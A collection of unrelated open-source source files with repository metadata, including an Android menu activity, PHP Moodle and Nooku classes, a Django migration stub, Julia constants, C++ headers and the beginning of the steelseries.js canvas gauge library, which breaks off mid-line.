1); } else if (lastX > currentX + 200) { tabHost.setCurrentTab(tabHost.getCurrentTab() + 1); } break; } } return false; } @Override public void onClick(View v) { if (v.getId() == R.id.button_menu) { finish(); } else if (v.getId() == R.id.button_cart) { Intent intent = new Intent(this, OrderActivity.class); startActivity(intent); } } @Override public void onPause() { super.onPause(); finish(); } // ==================== // GETTERS & SETTERS // ==================== }
bernagg/arcowabungaproject
ARcowabungaproject/src/org/escoladeltreball/arcowabungaproject/activities/MenuActivity.java
Java
gpl-3.0
15,686
<?php /** * Belgian Police Web Platform - Districts Component * * @copyright Copyright (C) 2012 - 2013 Timble CVBA. (http://www.timble.net) * @license GNU GPLv3 <http://www.gnu.org/licenses/gpl.html> * @link https://github.com/belgianpolice/internet-platform */ namespace Nooku\Component\Districts; use Nooku\Library; class ModelDistricts extends Library\ModelTable { protected function _buildQueryColumns(Library\DatabaseQuerySelect $query) { parent::_buildQueryColumns($query); $query->columns(array( 'contact' => 'contact.name' )); } protected function _buildQueryJoins(Library\DatabaseQuerySelect $query) { $query->join(array('contact' => 'contacts'), 'contact.contacts_contact_id = tbl.contacts_contact_id'); } protected function _buildQueryWhere(Library\DatabaseQuerySelect $query) { parent::_buildQueryWhere($query); $state = $this->getState(); if ($state->search) { $query->where('tbl.title LIKE :search')->bind(array('search' => '%'.$state->search.'%')); } } }
jowillems/internet-platform
component/districts/model/districts.php
PHP
gpl-3.0
1,026
from south.db import db from django.db import models from transifex.releases.models import * class Migration: def forwards(self, orm): "Write your forwards migration here" def backwards(self, orm): "Write your backwards migration here" models = { } complete_apps = ['releases']
tymofij/adofex
transifex/releases/migrations/0001_initial.py
Python
gpl-3.0
323
<?php // This file is part of Moodle - http://moodle.org/ // // Moodle is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // Moodle is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with Moodle. If not, see <http://www.gnu.org/licenses/>. /** * core_group updated event. * * @package core_group * @copyright 2013 Frédéric Massart * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ namespace core\event; defined('MOODLE_INTERNAL') || die(); /** * core_group updated event class. * * @package core_group * @copyright 2013 Frédéric Massart * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ class group_updated extends \core\event\base { /** * Returns description of what happened. * * @return string */ public function get_description() { return "User {$this->userid} updated the group {$this->objectid}."; } /** * Legacy event data if get_legacy_eventname() is not empty. * * @return stdClass */ protected function get_legacy_eventdata() { return $this->get_record_snapshot('groups', $this->objectid); } /** * Return the legacy event name. * * @return string */ public static function get_legacy_eventname() { return 'groups_group_updated'; } /** * Return localised event name. * * @return string */ public static function get_name() { return get_string('event_group_updated', 'group'); } /** * Get URL related to the action * * @return \moodle_url */ public function get_url() { return new \moodle_url('/group/index.php', array('id' => $this->courseid)); } /** * Init method. * * @return void */ protected function init() { $this->data['crud'] = 'u'; $this->data['edulevel'] = self::LEVEL_OTHER; $this->data['objecttable'] = 'groups'; } }
damyon/atto_27
lib/classes/event/group_updated.php
PHP
gpl-3.0
2,425
# # Software Lab for Advanced Machine Learning with Stochastic Algorithms # Copyright (c) 2015 Vilen Jumutc, KU Leuven, ESAT-STADIUS # License & help @ https://github.com/jumutc/SALSA.jl # Documentation @ http://salsajl.readthedocs.org # # This program is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation; either version 3 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # abstract Criterion abstract CCriterion <: Criterion immutable MSE <: CCriterion end immutable MISCLASS <: CCriterion end immutable SILHOUETTE <: Criterion end immutable AUC <: CCriterion n_thresholds::Integer end abstract GlobalOpt immutable CSA <: GlobalOpt end immutable DS <: GlobalOpt init_params::Vector end DS() = DS(Array(Float64,0)) AUC() = AUC(100)
droidicus/SALSA.jl
src/support/constants.jl
Julia
gpl-3.0
1,102
# Copyright (c) 2019, Frappe Technologies Pvt. Ltd. and contributors # For license information, please see license.txt # import frappe from frappe.model.document import Document class QualityReviewObjective(Document): pass
frappe/erpnext
erpnext/quality_management/doctype/quality_review_objective/quality_review_objective.py
Python
gpl-3.0
228
/******************************************************************************* Copyright (C) The University of Auckland OpenCOR is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. OpenCOR is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program. If not, see <https://gnu.org/licenses>. *******************************************************************************/ //============================================================================== // Forward Euler solver //============================================================================== #pragma once //============================================================================== #include "solverinterface.h" //============================================================================== namespace OpenCOR { namespace ForwardEulerSolver { //============================================================================== static const auto StepId = QStringLiteral("Step"); //============================================================================== static const double StepDefaultValue = 1.0; //============================================================================== class ForwardEulerSolver : public OpenCOR::Solver::OdeSolver { Q_OBJECT public: void initialize(double pVoi, int pRatesStatesCount, double *pConstants, double *pRates, double *pStates, double *pAlgebraic, ComputeRatesFunction pComputeRates) override; void solve(double &pVoi, double pVoiEnd) const override; private: double mStep = StepDefaultValue; }; //============================================================================== } // namespace ForwardEulerSolver } // namespace OpenCOR //============================================================================== // End of file //==============================================================================
agarny/opencor
src/plugins/solver/ForwardEulerSolver/src/forwardeulersolver.h
C
gpl-3.0
2,323
/* This file is part of Telegram Desktop, the official desktop version of Telegram messaging app, see https://telegram.org Telegram Desktop is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. It is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. In addition, as a special exception, the copyright holders give permission to link the code of portions of this program with the OpenSSL library. Full license: https://github.com/telegramdesktop/tdesktop/blob/master/LICENSE Copyright (c) 2014-2016 John Preston, https://desktop.telegram.org */ #pragma once namespace Window { enum class SlideDirection { FromRight, FromLeft, }; class SlideAnimation { public: SlideAnimation(); void paintContents(Painter &p, const QRect &update) const; void setDirection(SlideDirection direction); void setPixmaps(const QPixmap &oldContentCache, const QPixmap &newContentCache); void setTopBarShadow(bool enabled); using RepaintCallback = Function<void>; void setRepaintCallback(RepaintCallback &&callback); using FinishedCallback = Function<void>; void setFinishedCallback(FinishedCallback &&callback); void start(); private: void step(float64 ms, bool timer); SlideDirection _direction = SlideDirection::FromRight; bool _topBarShadowEnabled = false; mutable Animation _animation; QPixmap _cacheUnder, _cacheOver; anim::ivalue a_coordUnder, a_coordOver; anim::fvalue a_progress; RepaintCallback _repaintCallback; FinishedCallback _finishedCallback; }; } // namespace Window
patrick246/tdesktop
Telegram/SourceFiles/window/slide_animation.h
C
gpl-3.0
1,837
/*! * Name : steelseries.js * Authors : Gerrit Grunwald, Mark Crossley * Last modified : 31.03.2015 * Revision : 0.14.15 * * Copyright (c) 2011, Gerrit Grunwald, Mark Crossley * All rights reserved. * * Redistribution and use in source and binary forms, with or without modification, are permitted * provided that the following conditions are met: * * # Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * # Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following * disclaimer in the documentation and/or other materials provided with the distribution. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, * BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT * SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES, LOSS OF USE, DATA, OR PROFITS; OR BUSINESS * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE * OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ /*globals Tween */ /*jshint onevar:false,plusplus:false,nomen:false,bitwise:false*/ var steelseries = (function () { // Constants var HALF_PI = Math.PI * 0.5, TWO_PI = Math.PI * 2, PI = Math.PI, RAD_FACTOR = Math.PI / 180, DEG_FACTOR = 180 / Math.PI, doc = document, lcdFontName = 'LCDMono2Ultra,Arial,Verdana,sans-serif', stdFontName = 'Arial,Verdana,sans-serif'; //************************************* C O M P O N O N E N T S ************************************************ var radial = function (canvas, parameters) { parameters = parameters || {}; var gaugeType = (undefined === parameters.gaugeType ? steelseries.GaugeType.TYPE4 : parameters.gaugeType), size = (undefined === parameters.size ? 0 : parameters.size), minValue = (undefined === parameters.minValue ? 0 : parameters.minValue), maxValue = (undefined === parameters.maxValue ? (minValue + 100) : parameters.maxValue), niceScale = (undefined === parameters.niceScale ? true : parameters.niceScale), threshold = (undefined === parameters.threshold ? (maxValue - minValue) / 2 + minValue: parameters.threshold), thresholdRising = (undefined === parameters.thresholdRising ? true : parameters.thresholdRising), section = (undefined === parameters.section ? null : parameters.section), area = (undefined === parameters.area ? null : parameters.area), titleString = (undefined === parameters.titleString ? '' : parameters.titleString), unitString = (undefined === parameters.unitString ? '' : parameters.unitString), frameDesign = (undefined === parameters.frameDesign ? steelseries.FrameDesign.METAL : parameters.frameDesign), frameVisible = (undefined === parameters.frameVisible ? true : parameters.frameVisible), backgroundColor = (undefined === parameters.backgroundColor ? steelseries.BackgroundColor.DARK_GRAY : parameters.backgroundColor), backgroundVisible = (undefined === parameters.backgroundVisible ? true : parameters.backgroundVisible), pointerType = (undefined === parameters.pointerType ? steelseries.PointerType.TYPE1 : parameters.pointerType), pointerColor = (undefined === parameters.pointerColor ? steelseries.ColorDef.RED : parameters.pointerColor), knobType = (undefined === parameters.knobType ? steelseries.KnobType.STANDARD_KNOB : parameters.knobType), knobStyle = (undefined === parameters.knobStyle ? steelseries.KnobStyle.SILVER : parameters.knobStyle), lcdColor = (undefined === parameters.lcdColor ? steelseries.LcdColor.STANDARD : parameters.lcdColor), lcdVisible = (undefined === parameters.lcdVisible ? true : parameters.lcdVisible), lcdDecimals = (undefined === parameters.lcdDecimals ? 2 : parameters.lcdDecimals), digitalFont = (undefined === parameters.digitalFont ? false : parameters.digitalFont), fractionalScaleDecimals = (undefined === parameters.fractionalScaleDecimals ? 1 : parameters.fractionalScaleDecimals), ledColor = (undefined === parameters.ledColor ? steelseries.LedColor.RED_LED : parameters.ledColor), ledVisible = (undefined === parameters.ledVisible ? true : parameters.ledVisible), userLedColor = (undefined === parameters.userLedColor ? steelseries.LedColor.GREEN_LED : parameters.userLedColor), userLedVisible = (undefined === parameters.userLedVisible ? false : parameters.userLedVisible), thresholdVisible = (undefined === parameters.thresholdVisible ? true : parameters.thresholdVisible), minMeasuredValueVisible = (undefined === parameters.minMeasuredValueVisible ? false : parameters.minMeasuredValueVisible), maxMeasuredValueVisible = (undefined === parameters.maxMeasuredValueVisible ? false : parameters.maxMeasuredValueVisible), foregroundType = (undefined === parameters.foregroundType ? steelseries.ForegroundType.TYPE1 : parameters.foregroundType), foregroundVisible = (undefined === parameters.foregroundVisible ? true : parameters.foregroundVisible), labelNumberFormat = (undefined === parameters.labelNumberFormat ? steelseries.LabelNumberFormat.STANDARD : parameters.labelNumberFormat), playAlarm = (undefined === parameters.playAlarm ? false : parameters.playAlarm), alarmSound = (undefined === parameters.alarmSound ? false : parameters.alarmSound), customLayer = (undefined === parameters.customLayer ? null : parameters.customLayer), tickLabelOrientation = (undefined === parameters.tickLabelOrientation ? (gaugeType === steelseries.GaugeType.TYPE1 ? steelseries.TickLabelOrientation.TANGENT : steelseries.TickLabelOrientation.NORMAL) : parameters.tickLabelOrientation), trendVisible = (undefined === parameters.trendVisible ? false : parameters.trendVisible), trendColors = (undefined === parameters.trendColors ? [steelseries.LedColor.RED_LED, steelseries.LedColor.GREEN_LED, steelseries.LedColor.CYAN_LED] : parameters.trendColors), useOdometer = (undefined === parameters.useOdometer ? false : parameters.useOdometer), odometerParams = (undefined === parameters.odometerParams ? {} : parameters.odometerParams), odometerUseValue = (undefined === parameters.odometerUseValue ? false : parameters.odometerUseValue), fullScaleDeflectionTime = (undefined === parameters.fullScaleDeflectionTime ? 2.5 : parameters.fullScaleDeflectionTime); // Get the canvas context and clear it var mainCtx = getCanvasContext(canvas); // Has a size been specified? if (size === 0) { size = Math.min(mainCtx.canvas.width, mainCtx.canvas.height); } // Set the size - also clears the canvas mainCtx.canvas.width = size; mainCtx.canvas.height = size; // Create audio tag for alarm sound var audioElement; if (playAlarm && alarmSound !== false) { audioElement = doc.createElement('audio'); audioElement.setAttribute('src', alarmSound); audioElement.setAttribute('preload', 'auto'); } var value = minValue; var odoValue = minValue; var self = this; // Properties var minMeasuredValue = maxValue; var maxMeasuredValue = minValue; var ledBlinking = false; var userLedBlinking = false; var ledTimerId = 0; var userLedTimerId = 0; var tween; var repainting = false; var trendIndicator = steelseries.TrendState.OFF; var trendSize = size * 0.06; var trendPosX = size * 0.29; var trendPosY = size * 0.36; // GaugeType specific private variables var freeAreaAngle; var rotationOffset; var tickmarkOffset; var angleRange; var angleStep; var angle = rotationOffset + (value - minValue) * angleStep; var imageWidth = size; var imageHeight = size; var centerX = imageWidth / 2; var centerY = imageHeight / 2; // Misc var ledSize = size * 0.093457; var ledPosX = 0.6 * imageWidth; var ledPosY = 0.4 * imageHeight; var userLedPosX = gaugeType === steelseries.GaugeType.TYPE3 ? 0.6 * imageWidth : centerX - ledSize / 2; var userLedPosY = gaugeType === steelseries.GaugeType.TYPE3 ? 0.72 * imageHeight : 0.75 * imageHeight; var lcdFontHeight = Math.floor(imageWidth / 10); var stdFont = lcdFontHeight + 'px ' + stdFontName; var lcdFont = lcdFontHeight + 'px ' + lcdFontName; var lcdHeight = imageHeight * 0.13; var lcdWidth = imageWidth * 0.4; var lcdPosX = (imageWidth - lcdWidth) / 2; var lcdPosY = imageHeight * 0.57; var odoPosX, odoPosY = imageHeight * 0.61; var shadowOffset = imageWidth * 0.006; // Constants var initialized = false; // Tickmark specific private variables var niceMinValue = minValue; var niceMaxValue = maxValue; var niceRange = maxValue - minValue; var range = niceMaxValue - niceMinValue; var minorTickSpacing = 0; var majorTickSpacing = 0; var maxNoOfMinorTicks = 10; var maxNoOfMajorTicks = 10; // Method to calculate nice values for min, max and range for the tickmarks var calculate = function calculate() { if (niceScale) { niceRange = calcNiceNumber(maxValue - minValue, false); majorTickSpacing = calcNiceNumber(niceRange / (maxNoOfMajorTicks - 1), true); niceMinValue = Math.floor(minValue / majorTickSpacing) * majorTickSpacing; niceMaxValue = Math.ceil(maxValue / majorTickSpacing) * majorTickSpacing; minorTickSpacing = calcNiceNumber(majorTickSpacing / (maxNoOfMinorTicks - 1), true); minValue = niceMinValue; maxValue = niceMaxValue; range = maxValue - minValue; } else { niceRange = (maxValue - minValue); niceMinValue = minValue; niceMaxValue = maxValue; range = niceRange; majorTickSpacing = calcNiceNumber(niceRange / (maxNoOfMajorTicks - 1), true); minorTickSpacing = calcNiceNumber(majorTickSpacing / (maxNoOfMinorTicks - 1), true); } switch (gaugeType.type) { case 'type1': freeAreaAngle = 0; rotationOffset = PI; tickmarkOffset = HALF_PI; angleRange = HALF_PI; angleStep = angleRange / range; break; case 'type2': freeAreaAngle = 0; rotationOffset = PI; tickmarkOffset = HALF_PI; angleRange = PI; angleStep = angleRange / range; break; case 'type3': freeAreaAngle = 0; rotationOffset = HALF_PI; tickmarkOffset = 0; angleRange = 1.5 * PI; angleStep = angleRange / range; break; case 'type4': /* falls through */ default: freeAreaAngle = 60 * RAD_FACTOR; rotationOffset = HALF_PI + (freeAreaAngle / 2); tickmarkOffset = 0; angleRange = TWO_PI - freeAreaAngle; angleStep = angleRange / range; break; } angle = rotationOffset + (value - minValue) * angleStep; }; // ************** Buffer creation ******************** // Buffer for the frame var frameBuffer = createBuffer(size, size); var frameContext = frameBuffer.getContext('2d'); // Buffer for the background var backgroundBuffer = createBuffer(size, size); var backgroundContext = backgroundBuffer.getContext('2d'); var lcdBuffer; // Buffer for led on painting code var ledBufferOn = createBuffer(ledSize, ledSize); var ledContextOn = ledBufferOn.getContext('2d'); // Buffer for led off painting code var ledBufferOff = createBuffer(ledSize, ledSize); var ledContextOff = ledBufferOff.getContext('2d'); // Buffer for current led painting code var ledBuffer = ledBufferOff; // Buffer for user led on painting code var userLedBufferOn = createBuffer(ledSize, ledSize); var userLedContextOn = userLedBufferOn.getContext('2d'); // Buffer for user led off painting code var userLedBufferOff = createBuffer(ledSize, ledSize); var userLedContextOff = userLedBufferOff.getContext('2d'); // Buffer for current user led painting code var userLedBuffer = userLedBufferOff; // Buffer for the minMeasuredValue indicator var minMeasuredValueBuffer = createBuffer(Math.ceil(size * 0.028037), Math.ceil(size * 0.028037)); var minMeasuredValueCtx = minMeasuredValueBuffer.getContext('2d'); // Buffer for the maxMeasuredValue indicator var maxMeasuredValueBuffer = createBuffer(Math.ceil(size * 0.028037), Math.ceil(size * 0.028037)); var maxMeasuredValueCtx = maxMeasuredValueBuffer.getContext('2d'); // Buffer for pointer image painting code var pointerBuffer = createBuffer(size, size); var pointerContext = pointerBuffer.getContext('2d'); // Buffer for static foreground painting code var foregroundBuffer = createBuffer(size, size); var foregroundContext = foregroundBuffer.getContext('2d'); // Buffers for trend indicators var trendUpBuffer, trendSteadyBuffer, trendDownBuffer, trendOffBuffer; // Buffer for odometer var odoGauge, odoBuffer, odoContext; if (useOdometer && lcdVisible) { odoBuffer = createBuffer(10, 10); // size doesn't matter, it will get reset by odometer code odoContext = odoBuffer.getContext('2d'); } // ************** Image creation ******************** var drawLcdText = function (ctx, value) { ctx.restore(); ctx.save(); ctx.textAlign = 'right'; ctx.strokeStyle = lcdColor.textColor; ctx.fillStyle = lcdColor.textColor; if (lcdColor === steelseries.LcdColor.STANDARD || lcdColor === steelseries.LcdColor.STANDARD_GREEN) { ctx.shadowColor = 'gray'; ctx.shadowOffsetX = imageWidth * 0.007; ctx.shadowOffsetY = imageWidth * 0.007; ctx.shadowBlur = imageWidth * 0.007; } if (digitalFont) { ctx.font = lcdFont; } else { ctx.font = stdFont; } ctx.fillText(value.toFixed(lcdDecimals), lcdPosX + lcdWidth - lcdWidth * 0.05, lcdPosY + lcdHeight * 0.5 + lcdFontHeight * 0.38, lcdWidth * 0.9); ctx.restore(); }; var drawPostsImage = function (ctx) { ctx.save(); if ('type1' === gaugeType.type) { // Draw max center top post ctx.drawImage(createKnobImage(Math.ceil(imageHeight * 0.037383), steelseries.KnobType.STANDARD_KNOB, knobStyle), imageWidth * 0.523364, imageHeight * 0.130841); } if ('type1' === gaugeType.type || 'type2' === gaugeType.type) { // Draw min left post ctx.drawImage(createKnobImage(Math.ceil(imageHeight * 0.037383), steelseries.KnobType.STANDARD_KNOB, knobStyle), imageWidth * 0.130841, imageHeight * 0.514018); } if ('type2' === gaugeType.type || 'type3' === gaugeType.type) { // Draw max right post ctx.drawImage(createKnobImage(Math.ceil(imageHeight * 0.037383), steelseries.KnobType.STANDARD_KNOB, knobStyle), imageWidth * 0.831775, imageHeight * 0.514018); } if ('type3' === gaugeType.type) { // Draw min center bottom post ctx.drawImage(createKnobImage(Math.ceil(imageHeight * 0.037383), steelseries.KnobType.STANDARD_KNOB, knobStyle), imageWidth * 0.523364, imageHeight * 0.831775); } if ('type4' === gaugeType.type) { // Min post ctx.drawImage(createKnobImage(Math.ceil(imageHeight * 0.037383), steelseries.KnobType.STANDARD_KNOB, knobStyle), imageWidth * 0.336448, imageHeight * 0.803738); // Max post ctx.drawImage(createKnobImage(Math.ceil(imageHeight * 0.037383), steelseries.KnobType.STANDARD_KNOB, knobStyle), imageWidth * 0.626168, imageHeight * 0.803738); } ctx.restore(); }; var createThresholdImage = function () { var thresholdBuffer = doc.createElement('canvas'); thresholdBuffer.width = Math.ceil(size * 0.046728); thresholdBuffer.height = Math.ceil(thresholdBuffer.width * 0.9); var thresholdCtx = thresholdBuffer.getContext('2d'); thresholdCtx.save(); var gradThreshold = thresholdCtx.createLinearGradient(0, 0.1, 0, thresholdBuffer.height * 0.9); gradThreshold.addColorStop(0, '#520000'); gradThreshold.addColorStop(0.3, '#fc1d00'); gradThreshold.addColorStop(0.59, '#fc1d00'); gradThreshold.addColorStop(1, '#520000'); thresholdCtx.fillStyle = gradThreshold; thresholdCtx.beginPath(); thresholdCtx.moveTo(thresholdBuffer.width * 0.5, 0.1); thresholdCtx.lineTo(thresholdBuffer.width * 0.9, thresholdBuffer.height * 0.9); thresholdCtx.lineTo(thresholdBuffer.width * 0.1, thresholdBuffer.height * 0.9); thresholdCtx.lineTo(thresholdBuffer.width * 0.5, 0.1); thresholdCtx.closePath(); thresholdCtx.fill(); thresholdCtx.strokeStyle = '#FFFFFF'; thresholdCtx.stroke(); thresholdCtx.restore(); return thresholdBuffer; }; var drawAreaSectionImage = function (ctx, start, stop, color, filled) { if (start < minValue) { start = minValue; } else if (start > maxValue) { start = maxValue; } if (stop < minValue) { stop = minValue; } else if (stop > maxValue) { stop = maxValue; } if (start >= stop) { return; } ctx.save(); ctx.strokeStyle = color; ctx.fillStyle = color; ctx.lineWidth = imageWidth * 0.035; var startAngle = (angleRange / range * start - angleRange / range * minValue); var stopAngle = startAngle + (stop - start) / (range / angleRange); ctx.translate(centerX, centerY); ctx.rotate(rotationOffset); ctx.beginPath(); if (filled) { ctx.moveTo(0, 0); ctx.arc(0, 0, imageWidth * 0.365 - ctx.lineWidth / 2, startAngle, stopAngle, false); } else { ctx.arc(0, 0, imageWidth * 0.365, startAngle, stopAngle, false); } if (filled) { ctx.moveTo(0, 0); ctx.fill(); } else { ctx.stroke(); } ctx.translate(-centerX, -centerY); ctx.restore(); }; var drawTickmarksImage = function (ctx, labelNumberFormat) { var fontSize = Math.ceil(imageWidth * 0.04), alpha = rotationOffset, // Tracks total rotation rotationStep = angleStep * minorTickSpacing, textRotationAngle, valueCounter = minValue, majorTickCounter = maxNoOfMinorTicks - 1, OUTER_POINT = imageWidth * 0.38, MAJOR_INNER_POINT = imageWidth * 0.35, MED_INNER_POINT = imageWidth * 0.355, MINOR_INNER_POINT = imageWidth * 0.36, TEXT_TRANSLATE_X = imageWidth * 0.3, TEXT_WIDTH = imageWidth * 0.1, HALF_MAX_NO_OF_MINOR_TICKS = maxNoOfMinorTicks / 2, MAX_VALUE_ROUNDED = parseFloat(maxValue.toFixed(2)), i; backgroundColor.labelColor.setAlpha(1); ctx.save(); ctx.textAlign = 'center'; ctx.textBaseline = 'middle'; ctx.font = fontSize + 'px ' + stdFontName; ctx.strokeStyle = backgroundColor.labelColor.getRgbaColor(); ctx.fillStyle = backgroundColor.labelColor.getRgbaColor(); ctx.translate(centerX, centerY); ctx.rotate(rotationOffset); if (gaugeType.type === 'type1' || gaugeType.type === 'type2') { TEXT_WIDTH = imageWidth * 0.04; } for (i = minValue; parseFloat(i.toFixed(2)) <= MAX_VALUE_ROUNDED; i += minorTickSpacing) { textRotationAngle = rotationStep + HALF_PI; majorTickCounter++; // Draw major tickmarks if (majorTickCounter === maxNoOfMinorTicks) { ctx.lineWidth = 1.5; ctx.beginPath(); ctx.moveTo(OUTER_POINT, 0); ctx.lineTo(MAJOR_INNER_POINT, 0); ctx.closePath(); ctx.stroke(); ctx.save(); ctx.translate(TEXT_TRANSLATE_X, 0); switch (tickLabelOrientation.type) { case 'horizontal': textRotationAngle = -alpha; break; case 'tangent': textRotationAngle = (alpha <= HALF_PI + PI ? PI : 0); break; case 'normal': /* falls through */ default: textRotationAngle = HALF_PI; break; } ctx.rotate(textRotationAngle); switch (labelNumberFormat.format) { case 'fractional': ctx.fillText((valueCounter.toFixed(fractionalScaleDecimals)), 0, 0, TEXT_WIDTH); break; case 'scientific': ctx.fillText((valueCounter.toPrecision(2)), 0, 0, TEXT_WIDTH); break; case 'standard': /* falls through */ default: ctx.fillText((valueCounter.toFixed(0)), 0, 0, TEXT_WIDTH); break; } ctx.translate(-TEXT_TRANSLATE_X, 0); ctx.restore(); valueCounter += majorTickSpacing; majorTickCounter = 0; ctx.rotate(rotationStep); alpha += rotationStep; continue; } // Draw tickmark every minor tickmark spacing if (0 === maxNoOfMinorTicks % 2 && majorTickCounter === (HALF_MAX_NO_OF_MINOR_TICKS)) { ctx.lineWidth = 1; ctx.beginPath(); ctx.moveTo(OUTER_POINT, 0); ctx.lineTo(MED_INNER_POINT, 0); ctx.closePath(); ctx.stroke(); } else { ctx.lineWidth = 0.5; ctx.beginPath(); ctx.moveTo(OUTER_POINT, 0); ctx.lineTo(MINOR_INNER_POINT, 0); ctx.closePath(); ctx.stroke(); } ctx.rotate(rotationStep); alpha += rotationStep; } /* // Logarithmic scale var tmp = 0.1; var minValueLog10 = 0.1; var maxValueLog10 = parseInt(Math.pow(10, Math.ceil(Math.log10(maxValue)))); var drawLabel = true; angleStep = angleRange / (maxValueLog10 - minValueLog10) for (var scaleFactor = minValueLog10 ; scaleFactor <= maxValueLog10 ; scaleFactor *= 10) { for (var i = parseFloat((1 * scaleFactor).toFixed(1)) ; i < parseFloat((10 * scaleFactor).toFixed(1)) ; i += scaleFactor) { textRotationAngle =+ rotationStep + HALF_PI; if(drawLabel) { ctx.lineWidth = 1.5; ctx.beginPath(); ctx.moveTo(imageWidth * 0.38,0); ctx.lineTo(imageWidth * 0.35,0); ctx.closePath(); ctx.stroke(); ctx.save(); ctx.translate(imageWidth * 0.31, 0); ctx.rotate(textRotationAngle); ctx.fillText(parseFloat((i).toFixed(1)), 0, 0, imageWidth * 0.0375); ctx.translate(-imageWidth * 0.31, 0); ctx.restore(); drawLabel = false; } else { ctx.lineWidth = 0.5; ctx.beginPath(); ctx.moveTo(imageWidth * 0.38,0); ctx.lineTo(imageWidth * 0.36,0); ctx.closePath(); ctx.stroke(); } //doc.write('log10 scale value: ' + parseFloat((i).toFixed(1)) + '<br>'); //Math.log10(parseFloat((i).toFixed(1))); ctx.rotate(rotationStep); } tmp = 0.1; drawLabel = true; } */ ctx.translate(-centerX, -centerY); ctx.restore(); }; // ************** Initialization ******************** // Draw all static painting code to background var init = function (parameters) { parameters = parameters || {}; var drawFrame = (undefined === parameters.frame ? false : parameters.frame); var drawBackground = (undefined === parameters.background ? false : parameters.background); var drawLed = (undefined === parameters.led ? false : parameters.led); var drawUserLed = (undefined === parameters.userLed ? false : parameters.userLed); var drawPointer = (undefined === parameters.pointer ? false : parameters.pointer); var drawForeground = (undefined === parameters.foreground ? false : parameters.foreground); var drawTrend = (undefined === parameters.trend ? false : parameters.trend); var drawOdo = (undefined === parameters.odo ? false : parameters.odo); initialized = true; // Calculate the current min and max values and the range calculate(); // Create frame in frame buffer (backgroundBuffer) if (drawFrame && frameVisible) { drawRadialFrameImage(frameContext, frameDesign, centerX, centerY, imageWidth, imageHeight); } // Create background in background buffer (backgroundBuffer) if (drawBackground && backgroundVisible) { drawRadialBackgroundImage(backgroundContext, backgroundColor, centerX, centerY, imageWidth, imageHeight); // Create custom layer in background buffer (backgroundBuffer) drawRadialCustomImage(backgroundContext, customLayer, centerX, centerY, imageWidth, imageHeight); } if (drawLed) { // Draw LED ON in ledBuffer_ON ledContextOn.drawImage(createLedImage(Math.ceil(size * 0.093457), 1, ledColor), 0, 0); // Draw LED OFF in ledBuffer_OFF ledContextOff.drawImage(createLedImage(Math.ceil(size * 0.093457), 0, ledColor), 0, 0); } if (drawUserLed) { // Draw user LED ON in userLedBuffer_ON userLedContextOn.drawImage(createLedImage(Math.ceil(size * 0.093457), 1, userLedColor), 0, 0); // Draw user LED OFF in userLedBuffer_OFF userLedContextOff.drawImage(createLedImage(Math.ceil(size * 0.093457), 0, userLedColor), 0, 0); } // Draw min measured value indicator in minMeasuredValueBuffer if (minMeasuredValueVisible) { minMeasuredValueCtx.drawImage(createMeasuredValueImage(Math.ceil(size * 0.028037), steelseries.ColorDef.BLUE.dark.getRgbaColor(), true, true), 0, 0); } // Draw max measured value indicator in maxMeasuredValueBuffer if (maxMeasuredValueVisible) { maxMeasuredValueCtx.drawImage(createMeasuredValueImage(Math.ceil(size * 0.028037), steelseries.ColorDef.RED.medium.getRgbaColor(), true), 0, 0); } // Create alignment posts in background buffer (backgroundBuffer) if (drawBackground && backgroundVisible) { drawPostsImage(backgroundContext); // Create section in background buffer (backgroundBuffer) if (null !== section && 0 < section.length) { var sectionIndex = section.length; do { sectionIndex--; drawAreaSectionImage(backgroundContext, section[sectionIndex].start, section[sectionIndex].stop, section[sectionIndex].color, false); } while (0 < sectionIndex); } // Create area in background buffer (backgroundBuffer) if (null !== area && 0 < area.length) { var areaIndex = area.length; do { areaIndex--; drawAreaSectionImage(backgroundContext, area[areaIndex].start, area[areaIndex].stop, area[areaIndex].color, true); } while (0 < areaIndex); } // Create tickmarks in background buffer (backgroundBuffer) drawTickmarksImage(backgroundContext, labelNumberFormat); // Create title in background buffer (backgroundBuffer) drawTitleImage(backgroundContext, imageWidth, imageHeight, titleString, unitString, backgroundColor, true, true); } // Draw threshold image to background context if 